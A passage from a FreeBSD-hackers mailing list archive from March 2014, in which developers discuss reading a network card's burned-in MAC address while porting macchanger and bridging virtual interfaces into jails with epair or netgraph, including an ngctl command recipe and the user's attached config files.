WHY: The GNU macchanger has very nice option "--permanent Reset to original, permanent hardware MAC". This is only one thing I haven't ported yet. --=-d/hRPNuZ1dX+d7bd1WqS Content-Type: application/pgp-signature; name="signature.asc" Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAABAgAGBQJTGLlKAAoJECNkWbjnbjuiVd8P/34603BFhHxwebsc4U23X/50 SE/okC2F1GsXujVNmcyaoU0EbfDkIsduivuitaVx1wDQjoEnnRXUvxyZTJpe0Umh Imcw8bBueoqEBfrYJU8yr/ZoRGDCmGrXvkXOzTtx+b8JIlVex2X0A1dJrLgMa1AK W0zHw6Uv08PTMSj6JNOgcOnYkQYtvAxXvrnS9EfFsMpkJh1h9xdQCfvqsKURZ2l6 wzBYTbbfaX5ijNXnevaPBfej3AWrDbRzLOou0RprMoRwk0QlsYdMMx/V5KEIwxdo mDKAeIKLqv3VVWYlEiXOKcwF6yFKP+llz5lanMd1UJtb1aOqRV6IzD+X4546lAiq 32Ke7YpxPmnygV7bJBzS1XrtJX34QTQE8aBAAAb3ijtbGyC0TX5Vjd361pmVLwGi cR0Tnp6pxdzi4eYWfVZBN+pwaaPd6YQyqdf6PunDqLYF7SNjMQdr7vtEETi55ufs L+SpY2GLgfo6RbvR7I8WsbjrIaLTTJOrLMNnf9xykxyLgehbzoNgSFaKod0fU2ci 1GYS5Yol5r3M3KVU7fI6k2JXXaoHUX4znGfqg1HliPkdV4nFNd8hcqOxtwS5uLrY HlsvIbfuMMAXn9t639OR9LgCEoxhP0F9sFep6uJx/pGBqc1991X7xE/bkFtRXzgg RBkC0y7X41cGeXq0Ot+P =2Vq5 -----END PGP SIGNATURE----- --=-d/hRPNuZ1dX+d7bd1WqS-- From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 6 18:16:37 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 716ED99F for ; Thu, 6 Mar 2014 18:16:37 +0000 (UTC) Received: from mail-pd0-f171.google.com (mail-pd0-f171.google.com [209.85.192.171]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 4416581F for ; Thu, 6 Mar 2014 18:16:37 +0000 (UTC) Received: by mail-pd0-f171.google.com with SMTP id r10so2858797pdi.16 for ; Thu, 06 Mar 2014 10:16:36 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=4V4lOCbBytBcoKMjFsuse3N0WGPSOpOcVBghQNMpuDE=; b=f4RJfAnaT6H11YT7snOovh/0CsMOyOolB+Z509xbqY8NIZjNytalLkrQwrPcJ4iORH 7CQgPE80rVwjXF48WrI9cpkC0AOg8PsldvB1ezGQg9eIuyLWVxNsG2lSE1rEeJ1TX1Oo fzavGS5zHlqDvDKSHMdT8rX0OCwliqQpSNcYNfir5yoIRj+r2v2LK9NL9EB39eABFv+4 9yH/W/EEggVojv8FKwEM0sW/LPIaO9t7wVFKiNZ+F54Ptb7g0+gpzEHr7ll8GNOYDth1 1w1JBl1Ydqoea3qO3JbRoJtGbUnLdA106NtMYZ8FcNbPWaPkPZNWjS/Abn/wMBAmBxOs x2KA== X-Gm-Message-State: ALoCoQk9fI1ZEtS9y6v0V0TaGHerBqM9SyhF2v6vBqkL7IKbj0y+OoZACTKkLXHL9S3y49F1L4oK X-Received: by 10.68.178.229 with SMTP id db5mr15986135pbc.97.1394129796508; Thu, 06 Mar 2014 10:16:36 -0800 (PST) Received: from lglt-nvaradarajan.corp.netflix.com (dc1-prod.netflix.com. [69.53.236.251]) by mx.google.com with ESMTPSA id vf7sm22156451pbc.5.2014.03.06.10.16.35 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 06 Mar 2014 10:16:35 -0800 (PST) Sender: Warner Losh Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Reading burned-in NIC MAC address from the user space. From: Warner Losh In-Reply-To: <1394129227.732.37.camel@eva02> Date: Thu, 6 Mar 2014 11:16:34 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <78D3808C-A446-4697-AE6A-0718C058F8C1@bsdimp.com> References: <1394115222.8935.17.camel@eva02> <10C93415-7C49-459E-921E-EE358C3B886C@bsdimp.com> <1394129227.732.37.camel@eva02> To: clutton X-Mailer: Apple Mail (2.1874) Cc: FreeBSD Hackers , freebsd-drivers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Mar 2014 18:16:37 -0000 On Mar 6, 2014, at 11:07 AM, clutton wrote: > On Thu, 2014-03-06 at 08:35 -0700, Warner Losh wrote: >> On Mar 6, 2014, at 7:13 AM, clutton wrote: >>=20 >>> Hi lists. >>>=20 >>> I'm porting a GNU macchanger to the FreeBSD. Everything has almost = done, >>> except restoring the mac to the original one. >>>=20 >>> The Linux users can exploit ioctl with SIOCETHTOOL pointing to a = proper >>> ifreq(ETHTOOL_GPERMADDR), I have no idea how to do this using = FreeBSD, >>> is it even possible? >>=20 >> I=92d check the source for ifconfig. >>=20 >> ifconfig ep0 link 1:2:3:4:5:6 >>=20 >> does the trick=85 >>=20 >> Warner >=20 > No, it doesn't. It does the different trick :) > You misunderstood the question. I don't asked how to set the mac > address. The question is how to read burned in mac address from user > space. ifconfig is not capable doing such a thing. ifconfig foo0 | grep link is the usual answer here :) > As I can see the drivers read MAC from EEPROM using different ways. Is > there any interface to this low level work? >=20 > WHY: > The GNU macchanger has very nice option "--permanent Reset to = original, > permanent hardware MAC". This is only one thing I haven't ported yet. so you want to be able to ask the driver for the original mac address? Warner From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 6 18:47:22 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C8FBEE85 for ; Thu, 6 Mar 2014 18:47:22 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 92698B3A for ; Thu, 6 Mar 2014 18:47:22 +0000 (UTC) Received: from julian-mbp3.pixel8networks.com (50-196-156-133-static.hfc.comcastbusiness.net [50.196.156.133]) (authenticated bits=0) by vps1.elischer.org (8.14.7/8.14.7) with ESMTP id s26IlLOq085755 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Thu, 6 Mar 2014 10:47:21 -0800 (PST) (envelope-from julian@freebsd.org) Message-ID: <5318C2B6.4080109@freebsd.org> Date: Thu, 06 Mar 2014 10:47:18 -0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Joe Nosay Subject: Re: How do I create a cloned interface when there is no static connection? References: <53181410.1030107@freebsd.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Mar 2014 18:47:22 -0000 On 3/6/14, 9:39 AM, Joe Nosay wrote: > > > > On Thu, Mar 6, 2014 at 1:22 AM, Julian Elischer > wrote: > > On 3/5/14, 3:30 PM, Joe Nosay wrote: > > I'm thinking that I may need to setup a script to create the > interface and > then bridge it so that the jail can connect to the internet. > _______________________________________________ > freebsd-hackers@freebsd.org > mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to > "freebsd-hackers-unsubscribe@freebsd.org > " > > not sure I understand the question.. > > you can create all sorts of 'dummy' interfaces to pass to the > jail.. is it a vimage jail or just using aliases? > > > > I'll need a dummy interface inside of the that can be bridged to > wlan0 outside of the jail. Normal jail with aliases. you should just be able to make a tap device and bridge it. failing that try make an epair.. or hmm yah an netgraph eiface can defiately be bridged.. in fact try a netgraph bridge attached to a netgraph eiface. (check the example in /usr/share/examples/netgraph) From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 6 18:42:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7BFDEC4E; Thu, 6 Mar 2014 18:42:34 +0000 (UTC) Received: from sender1.zohomail.com (sender1.zohomail.com [72.5.230.95]) by mx1.freebsd.org (Postfix) with ESMTP id 5A838AFF; Thu, 6 Mar 2014 18:42:34 +0000 (UTC) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=zapps768; d=zoho.com; h=subject:from:to:cc:in-reply-to:references:content-type:date:message-id:mime-version; b=OIXY+4W++3HWcGxpX+WQ9KP9lufOXNIVjDvfmhIqjcl4l0tnYL5ApWfmCkvk2LyhFs+jRqdaKptx mxWLZrFAZywTA8OYwMwnjAEEekYWKRxaS8WwhvZzr9L4WO5rQX1m Received: from [10.1.2.6] (46.229.54.117 [46.229.54.117]) by mx.zohomail.com with SMTPS id 1394131350972920.5689008583166; Thu, 6 Mar 2014 10:42:30 -0800 (PST) Subject: Re: Reading burned-in NIC MAC address from the user space. From: clutton To: Warner Losh In-Reply-To: <78D3808C-A446-4697-AE6A-0718C058F8C1@bsdimp.com> References: <1394115222.8935.17.camel@eva02> <10C93415-7C49-459E-921E-EE358C3B886C@bsdimp.com> <1394129227.732.37.camel@eva02> <78D3808C-A446-4697-AE6A-0718C058F8C1@bsdimp.com> Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-RcZbhJI4L3A75vsrq/0Q" Date: Thu, 06 Mar 2014 20:42:23 +0200 Message-ID: <1394131343.732.39.camel@eva02> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port X-Zoho-Virus-Status: 1 X-ZohoMail: Ss SS_10 UW UB UW UB SF_TD_EXT SGR3_1_19024_64 X-ZohoMail-Owner: <1394131343.732.39.camel@eva02>+zmo_0_ X-ZohoMail-Sender: 46.229.54.117 X-ZohoMailClient: External X-Mailman-Approved-At: Thu, 06 Mar 2014 19:18:19 +0000 Cc: FreeBSD Hackers , freebsd-drivers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Mar 2014 18:42:34 -0000 --=-RcZbhJI4L3A75vsrq/0Q Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable On Thu, 2014-03-06 at 11:16 -0700, Warner Losh wrote: > On Mar 6, 2014, at 11:07 AM, clutton wrote: >=20 > > On Thu, 2014-03-06 at 08:35 -0700, Warner Losh wrote: > >> On Mar 6, 2014, at 7:13 AM, clutton wrote: > >>=20 > >>> Hi lists. > >>>=20 > >>> I'm porting a GNU macchanger to the FreeBSD. Everything has almost do= ne, > >>> except restoring the mac to the original one. > >>>=20 > >>> The Linux users can exploit ioctl with SIOCETHTOOL pointing to a prop= er > >>> ifreq(ETHTOOL_GPERMADDR), I have no idea how to do this using FreeBSD= , > >>> is it even possible? > >>=20 > >> I=E2=80=99d check the source for ifconfig. > >>=20 > >> ifconfig ep0 link 1:2:3:4:5:6 > >>=20 > >> does the trick=E2=80=A6 > >>=20 > >> Warner > >=20 > > No, it doesn't. It does the different trick :) > > You misunderstood the question. I don't asked how to set the mac > > address. The question is how to read burned in mac address from user > > space. ifconfig is not capable doing such a thing. >=20 > ifconfig foo0 | grep link >=20 > is the usual answer here :) >=20 > > As I can see the drivers read MAC from EEPROM using different ways. Is > > there any interface to this low level work? > >=20 > > WHY: > > The GNU macchanger has very nice option "--permanent Reset to original, > > permanent hardware MAC". This is only one thing I haven't ported yet. >=20 > so you want to be able to ask the driver for the original mac address? >=20 > Warner Exactly. --=-RcZbhJI4L3A75vsrq/0Q Content-Type: application/pgp-signature; name="signature.asc" Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAABAgAGBQJTGMGPAAoJECNkWbjnbjui5+oQAImY6TVmSCmHMOCj/iFS9rg7 mBLiPnvqKWQQr8qtJwsNO0yxq6XAYayhROg63h2GrCl5GZL0orxuCz/xlHW+omSj nmJePSmvzZYhvr8wZ5EjtkS2tUKK39F7YvNvH8uO2Lff7fIele1+S9AApVhQLlcX WM4eX/7N4olQuLlDg8nAp/UpIliEF3oilOA+hcokyaxNBQYvGI7DQSRMM1e+o6ff gInTOm2I3dpTMpiJ97cnmXHfDUFO0gy3G6SVVIeNWtq4Vo7pi9KqtVtCMgCDuemP yJbDrskdTtIikxIWea6v1QBk/m3Cy2y0UOQiG0ZEttD7CnUjx9XcUkZpPf7O4QEa jYQAVXtgaey6W6+9/wdN1OTx//h51bMHNKdEO++0noH97gKc8CR6belJhtNOi6E6 9XkTN5hcmbgrk3XdoAAUCQyPt6Z2sc1fXEgmJFsvLkgRZkO6aRCJcgZjOF3FSi9X syRdbh35aFcw+4MKUWmy9rGBr9ur6y2jTLKQsg/R20SW6mXVcrazmjOqx2CXoWwt +54KquIK9Ey8rhQ+tQqH1vEWCAeglc4APEzuyRE+vKICyuLXoyuOW9im0MiFyQ+s nNztlAR3oCunVdIpQxCY5mm3AMjpGik8If+eSlXw08PbrJks3kBJYyspdO8ay5Pr GURp4cfidlOWRxWb9vOy =mhXe -----END PGP SIGNATURE----- --=-RcZbhJI4L3A75vsrq/0Q-- From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 6 19:47:20 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 18E3B9CC for ; Thu, 6 Mar 2014 19:47:20 +0000 (UTC) Received: from mx1.fisglobal.com (mx1.fisglobal.com [199.200.24.190]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id D752015B for ; Thu, 6 Mar 2014 19:47:19 +0000 (UTC) Received: from smarthost.fisglobal.com ([10.132.206.193]) by ltcfislmsgpa02.fnfis.com (8.14.5/8.14.5) with ESMTP id s26JlIBJ001131 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT); Thu, 6 Mar 2014 13:47:18 -0600 Received: from THEMADHATTER (10.242.181.54) by smarthost.fisglobal.com (10.132.206.193) with Microsoft SMTP Server id 14.3.174.1; Thu, 6 Mar 2014 13:47:16 -0600 From: Sender: Devin Teske To: "'Eugene Grosbein'" , "'Joe Nosay'" References: <53181410.1030107@freebsd.org> <5318B836.7040301@grosbein.net> In-Reply-To: <5318B836.7040301@grosbein.net> Subject: RE: How do I create a cloned interface when there is no static connection? Date: Thu, 6 Mar 2014 11:47:13 -0800 Message-ID: <19cd01cf3974$dffa5bf0$9fef13d0$@FreeBSD.org> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Outlook 15.0 Thread-Index: AQGFkmzaIuYOdOXVuBBwiRydIe9+DQJc1pq+AktiUF0BR1iDyps4QQ5g Content-Language: en-us X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87, 1.0.14, 0.0.0000 definitions=2014-03-06_06:2014-03-05,2014-03-06,1970-01-01 signatures=0 Cc: 'FreeBSD Hackers' X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Mar 2014 19:47:20 -0000 > -----Original Message----- > From: Eugene Grosbein [mailto:eugen@grosbein.net] > Sent: Thursday, March 6, 2014 10:03 AM > To: Joe Nosay > Cc: FreeBSD Hackers > Subject: Re: How do I create a cloned interface when there is no static > connection? > > On 07.03.2014 00:39, Joe Nosay wrote: > > > I'll need a dummy interface inside of the that can be bridged to > > wlan0 outside of the jail. Normal jail with aliases. > > Try epair(4) and give one part of pair to jail and bridge another part with > wlan0. > Never tried bridging a wlan with netgraph, but I wonder if the method I use for bridging Ethernet with netgraph would work... Using the ngctl command to create an ng_bridge and then multiple ng_eiface devices that you can be shoved into the jail. kldload ng_ether kldload ng_bridge kldload ng_eiface ngctl + mkpeer {IFACE}: bridge lower link0 + connect {IFACE}: {IFACE}:lower upper link1 + name {IFACE}:lower {IFACE}bridge + quit ifconifg {IFACE} up ngctl + msg {IFACE}: setpromisc 1 + msg {IFACE}: setautosrc 0 + mkpeer {IFACE}:lower eiface link{N} ether + name {IFACE}bridge:link{N} + show -n {IFACE}bridge: Name: ngeth0 Type: eiface ID: XXXXXXXX Num hooks: N + name {IFACE}bridge:link{N} {NEWIFACE} ifconfig ngeth0 name {NEWNAME} ifconfig {NEWNAME} vnet {JID} Taking care to replace the following from above: {IFACE} - the name of the interface you want to bridge (eg, em0) {N} - link number (starts at 2; increments by-one for each new eiface) {NEWIFACE} - the name of the new eiface (ngethN) device to create {JID} - the jail ID of the jail you want to shove the interface into Of course, never tried this with WiFi. -- Devin _____________ The information contained in this message is proprietary and/or confidential. If you are not the intended recipient, please: (i) delete the message and all copies; (ii) do not disclose, distribute or use the message in any manner; and (iii) notify the sender immediately. In addition, please be aware that any message addressed to our domain is subject to archiving and review by persons other than the intended recipient. Thank you. From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 7 02:51:40 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B4282F50; Fri, 7 Mar 2014 02:51:40 +0000 (UTC) Received: from mail-oa0-x22c.google.com (mail-oa0-x22c.google.com [IPv6:2607:f8b0:4003:c02::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 69F92E27; Fri, 7 Mar 2014 02:51:40 +0000 (UTC) Received: by mail-oa0-f44.google.com with SMTP id n16so3553699oag.3 for ; Thu, 06 Mar 2014 18:51:39 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=UMpz8+7VjauOWi5pzEjAxFynFS+yLzxfANlIJukpCI0=; b=tyhAY5km2mRnHkB6u5SP1dZ/GtyL9VG4smeTo8FcUo9W2J1mI+9bvTx9AIkR2A8pEG w8MlACUDEMgKupFXpPb7e2adpGvfoNiXBIPRi+/EZ1Z8qvCyUFVDt6ZLb2VkAyDpufxj qwzlGVitx9oZMBlgqQhB9EGyCAP91LPr59Ie8BZ8bcTlfD5bU4dMga+xCdeuPVxYTdWb Z2GEXlwlb35cS9Yc/f1/DCQbRHgK6HEpruuiB/dN3mwFJZo/wJ0noPtqWsF5/UzBTQAg x2l1TGMytKGn3g8i6WdktdNsmncwSjFAqhlOKSo0F0eb0UyqkqqoSfu0Q37Hi/GsJ6/P mAJA== MIME-Version: 1.0 X-Received: by 10.182.2.170 with SMTP id 10mr4899917obv.50.1394160699661; Thu, 06 Mar 2014 18:51:39 -0800 (PST) Received: by 10.182.76.201 with HTTP; Thu, 6 Mar 2014 18:51:39 -0800 (PST) In-Reply-To: <19cd01cf3974$dffa5bf0$9fef13d0$@FreeBSD.org> References: <53181410.1030107@freebsd.org> <5318B836.7040301@grosbein.net> <19cd01cf3974$dffa5bf0$9fef13d0$@FreeBSD.org> Date: Thu, 6 Mar 2014 21:51:39 -0500 Message-ID: Subject: Re: How do I create a cloned interface when there is no static connection? From: Joe Nosay To: Devin Teske Content-Type: multipart/mixed; boundary=f46d0444ea99439b6904f3fb559a X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: FreeBSD Hackers , Eugene Grosbein X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 07 Mar 2014 02:51:40 -0000 --f46d0444ea99439b6904f3fb559a Content-Type: text/plain; charset=ISO-8859-1 On Thu, Mar 6, 2014 at 2:47 PM, wrote: > > > > -----Original Message----- > > From: Eugene Grosbein [mailto:eugen@grosbein.net] > > Sent: Thursday, March 6, 2014 10:03 AM > > To: Joe Nosay > > Cc: FreeBSD Hackers > > Subject: Re: How do I create a cloned interface when there is no static > > connection? > > > > On 07.03.2014 00:39, Joe Nosay wrote: > > > > > I'll need a dummy interface inside of the that can be bridged to > > > wlan0 outside of the jail. Normal jail with aliases. > > > > Try epair(4) and give one part of pair to jail and bridge another part > with > > wlan0. > > > > Never tried bridging a wlan with netgraph, but I wonder if the method I use > for bridging Ethernet with netgraph would work... > > Using the ngctl command to create an ng_bridge and then multiple ng_eiface > devices that you can be shoved into the jail. > > kldload ng_ether > kldload ng_bridge > kldload ng_eiface > ngctl > + mkpeer {IFACE}: bridge lower link0 > + connect {IFACE}: {IFACE}:lower upper link1 > + name {IFACE}:lower {IFACE}bridge > + quit > ifconifg {IFACE} up > ngctl > + msg {IFACE}: setpromisc 1 > + msg {IFACE}: setautosrc 0 > + mkpeer {IFACE}:lower eiface link{N} ether > + name {IFACE}bridge:link{N} > + show -n {IFACE}bridge: > Name: ngeth0 Type: eiface ID: XXXXXXXX Num > hooks: N > + name {IFACE}bridge:link{N} {NEWIFACE} > ifconfig ngeth0 name {NEWNAME} > ifconfig {NEWNAME} vnet {JID} > > Taking care to replace the following from above: > {IFACE} - the name of the interface you want to bridge (eg, em0) > {N} - link number (starts at 2; increments by-one for each new eiface) > {NEWIFACE} - the name of the new eiface (ngethN) device to create > {JID} - the jail ID of the jail you want to shove the interface into > > Of course, never tried this with WiFi. > -- > Devin > > _____________ > The information contained in this message is proprietary and/or > confidential. If you are not the intended recipient, please: (i) delete the > message and all copies; (ii) do not disclose, distribute or use the message > in any manner; and (iii) notify the sender immediately. In addition, please > be aware that any message addressed to our domain is subject to archiving > and review by persons other than the intended recipient. Thank you. > I did not properly create the jail.conf script. I believe the file of /etc/rc.d/jail should be followed; yet, there is no tutorial on setting it up. My /etc/rc.conf file is also improperly setup. How? I don't know; but, I can tell because the system will not boot completely and ctrl+C must be hit to allow logging in. --f46d0444ea99439b6904f3fb559a Content-Type: application/octet-stream; name="jail.conf" Content-Disposition: attachment; filename="jail.conf" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hsh5tf690 ICAgIEZyZWVCU0QtR29vZ2xlIHsKICAgICBwYXRoID0gL2phaWxzL0ZyZWVCU0QtR29vZ2xlX3By b2plY3RzOwogICAgIGFsbG93Lm1vdW50OwogICAgIG1vdW50LmRldmZzOwogICAgIGhvc3QuaG9z dG5hbWUgPSBic2QtZ29vZ2xlYm94OwogICAgIGV4ZWMuc3RhcnQgPSAiL2Jpbi9zaCAvZXRjL3Jj IjsKICAgICBleGVjLnN0b3AgPSAiL2Jpbi9zaCAvZXRjL3JjLnNodXRkb3duIjsKICAgIH0= --f46d0444ea99439b6904f3fb559a Content-Type: application/octet-stream; name="rc.conf" Content-Disposition: attachment; filename="rc.conf" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hsh5y2do1 aG9zdG5hbWU9Im51bmNhLWNvbmhlY2FkbyIKc3NoZF9lbmFibGU9IllFUyIKbW91c2VkX2VuYWJs ZT0iWUVTIgpwb3dlcmRfZW5hYmxlPSJZRVMiCiMgU2V0IGR1bXBkZXYgdG8gIkFVVE8iIHRvIGVu YWJsZSBjcmFzaCBkdW1wcywgIk5PIiB0byBkaXNhYmxlCmR1bXBkZXY9IkFVVE8iCnpmc19lbmFi bGU9IllFUyIKCmphaWxfZW5hYmxlPSJZRVMiCmphaWxfbGlzdD0iRnJlZUJTRC1Hb29nbGUiCgoK Cg== --f46d0444ea99439b6904f3fb559a-- From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 7 07:08:46 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C3BC6F0; Fri, 7 Mar 2014 07:08:46 +0000 (UTC) Received: from mx1.fisglobal.com (mx1.fisglobal.com [199.200.24.190]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 8BBDF607; Fri, 7 Mar 2014 07:08:46 +0000 (UTC) Received: from smarthost.fisglobal.com ([10.132.206.192]) by ltcfislmsgpa05.fnfis.com (8.14.5/8.14.5) with ESMTP id s2778iKg011589 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT); Fri, 7 Mar 2014 01:08:44 -0600 Received: from THEMADHATTER (10.242.181.54) by smarthost.fisglobal.com (10.132.206.192) with Microsoft SMTP Server id 14.3.174.1; Fri, 7 Mar 2014 01:08:42 -0600 From: Sender: Devin Teske To: "'Joe Nosay'" , "'Devin Teske'" References: <53181410.1030107@freebsd.org> <5318B836.7040301@grosbein.net> <19cd01cf3974$dffa5bf0$9fef13d0$@FreeBSD.org> In-Reply-To: Subject: RE: How do I create a cloned interface when there is no static connection? Date: Thu, 6 Mar 2014 23:08:38 -0800 Message-ID: <1a1801cf39d4$1155a830$3400f890$@FreeBSD.org> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Outlook 15.0 Thread-Index: AQGFkmzaIuYOdOXVuBBwiRydIe9+DQJc1pq+AktiUF0BR1iDygJTdbnQAhouTC+bFZlL8A== Content-Language: en-us X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87, 1.0.14, 0.0.0000 definitions=2014-03-07_03:2014-03-05,2014-03-07,1970-01-01 signatures=0 Cc: 'FreeBSD Hackers' , 'Eugene Grosbein' X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 07 Mar 2014 07:08:46 -0000 > -----Original Message----- > From: Joe Nosay [mailto:superbisquit@gmail.com] > Sent: Thursday, March 6, 2014 6:52 PM > To: Devin Teske > Cc: FreeBSD Hackers; Eugene Grosbein > Subject: Re: How do I create a cloned interface when there is no static > connection? > > On Thu, Mar 6, 2014 at 2:47 PM, wrote: > > > > > > > > -----Original Message----- > > > From: Eugene Grosbein [mailto:eugen@grosbein.net] > > > Sent: Thursday, March 6, 2014 10:03 AM > > > To: Joe Nosay > > > Cc: FreeBSD Hackers > > > Subject: Re: How do I create a cloned interface when there is no > > > static connection? > > > > > > On 07.03.2014 00:39, Joe Nosay wrote: > > > > > > > I'll need a dummy interface inside of the that can be bridged to > > > > wlan0 outside of the jail. Normal jail with aliases. > > > > > > Try epair(4) and give one part of pair to jail and bridge another > > > part > > with > > > wlan0. > > > > > > > Never tried bridging a wlan with netgraph, but I wonder if the method > > I use for bridging Ethernet with netgraph would work... > > > > Using the ngctl command to create an ng_bridge and then multiple > > ng_eiface devices that you can be shoved into the jail. > > > > kldload ng_ether > > kldload ng_bridge > > kldload ng_eiface > > ngctl > > + mkpeer {IFACE}: bridge lower link0 > > + connect {IFACE}: {IFACE}:lower upper link1 > > + name {IFACE}:lower {IFACE}bridge > > + quit > > ifconifg {IFACE} up > > ngctl > > + msg {IFACE}: setpromisc 1 > > + msg {IFACE}: setautosrc 0 > > + mkpeer {IFACE}:lower eiface link{N} ether > > + name {IFACE}bridge:link{N} > > + show -n {IFACE}bridge: > > Name: ngeth0 Type: eiface ID: XXXXXXXX Num > > hooks: N > > + name {IFACE}bridge:link{N} {NEWIFACE} > > ifconfig ngeth0 name {NEWNAME} > > ifconfig {NEWNAME} vnet {JID} > > > > Taking care to replace the following from above: > > {IFACE} - the name of the interface you want to bridge (eg, em0) {N} - > > link number (starts at 2; increments by-one for each new eiface) > > {NEWIFACE} - the name of the new eiface (ngethN) device to create > > {JID} - the jail ID of the jail you want to shove the 